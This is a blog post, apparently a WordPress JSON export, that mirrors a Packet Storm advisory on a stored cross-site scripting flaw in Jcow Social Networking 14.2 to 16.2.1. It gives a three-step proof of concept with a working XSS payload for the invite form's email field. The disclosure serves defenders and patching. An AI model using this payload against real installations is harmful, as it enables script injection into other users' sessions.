{"id":57041,"date":"2024-05-24T20:09:40","date_gmt":"2024-05-24T16:09:40","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178798\/jcow142-xss.txt"},"modified":"2024-05-24T20:09:40","modified_gmt":"2024-05-24T16:09:40","slug":"jcow-social-network-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/jcow-social-network-cross-site-scripting\/","title":{"rendered":"Jcow Social Network Cross Site Scripting"},"content":{"rendered":"<dl id=\"F178798\" class=\"file first\" readability=\"-1.073482428115\">\n<dt><a class=\"ico text-plain\" href=\"https:\/\/packetstormsecurity.com\/files\/download\/178798\/jcow142-xss.txt\" title=\"Size: 0.5 KB\" target=\"_blank\" rel=\"noopener\"><strong>Jcow Social Network Cross Site Scripting<\/strong><\/a><\/dt>\n<dd class=\"datetime\">Posted <a href=\"https:\/\/packetstormsecurity.com\/files\/date\/2024-05-24\/\" title=\"15:28:37 UTC\" target=\"_blank\" rel=\"noopener\">May 24, 2024<\/a><\/dd>\n<dd class=\"refer\">Authored by <a href=\"https:\/\/packetstormsecurity.com\/files\/author\/16714\/\" class=\"person\" target=\"_blank\" rel=\"noopener\">tmrswrr<\/a><\/dd>\n<dd class=\"detail\" readability=\"0\">\n<p>Jcow Social Networking versions 14.2 up to 16.2.1 suffer from a persistent cross site scripting vulnerability.<\/p>\n<\/dd>\n<dd class=\"tags\"><span>tags<\/span> | <a href=\"https:\/\/packetstormsecurity.com\/files\/tags\/exploit\" target=\"_blank\" rel=\"noopener\">exploit<\/a>, <a href=\"https:\/\/packetstormsecurity.com\/files\/tags\/xss\" target=\"_blank\" rel=\"noopener\">xss<\/a><\/dd>\n<dd class=\"md5\"><span>SHA-256<\/span> | <code>8ff452224b5c44a006c708f69ef20ee895de407da9b77ccc1fefea5c2352b824<\/code><\/dd>\n<dd class=\"act-links\"><a href=\"https:\/\/packetstormsecurity.com\/files\/download\/178798\/jcow142-xss.txt\" title=\"Size: 0.5 KB\" rel=\"nofollow noopener\" target=\"_blank\">Download<\/a> | <a href=\"https:\/\/packetstormsecurity.com\/files\/favorite\/178798\/\" class=\"fav\" rel=\"nofollow noopener\" target=\"_blank\">Favorite<\/a> | <a href=\"https:\/\/packetstormsecurity.com\/files\/178798\/Jcow-Social-Network-Cross-Site-Scripting.html\" target=\"_blank\" rel=\"noopener\">View<\/a><\/dd>\n<\/dl>\n<div class=\"src\" readability=\"9.5961538461538\">\n<pre readability=\"5\"><code readability=\"4\"># Exploit Title: Jcow Social Networking 14.2 &lt; 16.2.1 | Stored XSS <br># Date: 2024-05-23<br># Author: tmrswrr<br># Vendor Homepage: https:\/\/www.jcow.net\/<br># Software Link: https:\/\/sourceforge.net\/projects\/jcow\/<br># Tested : https:\/\/demo.jcow.net\/<br># Version : 14.2 &lt; 16.2.1<p>1) Login with any user Click invite place : https:\/\/127.0.0.1\/Jcow\/index.php?p=invite<br>2) Write in To (Email address) field your payload : \"&gt;&lt;img src=x onerrora=confirm() onerror=confirm(1)&gt;<br>3) After Send invitations you will be see alert button<\/p><\/code><\/pre>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Jcow Social Network Cross Site Scripting Posted May 24, 2024 Authored by tmrswrr Jcow Social Networking versions 14.2 up to 16.2.1 suffer from a persistent cross site scripting vulnerability. tags | exploit, xss SHA-256 | 8ff452224b5c44a006c708f69ef20ee895de407da9b77ccc1fefea5c2352b824 Download | Favorite | View # Exploit Title: Jcow Social Networking 14.2 &lt; 16.2.1 | Stored XSS # Date: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57041","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57041","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57041"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57041\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57041"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57041"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57041"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}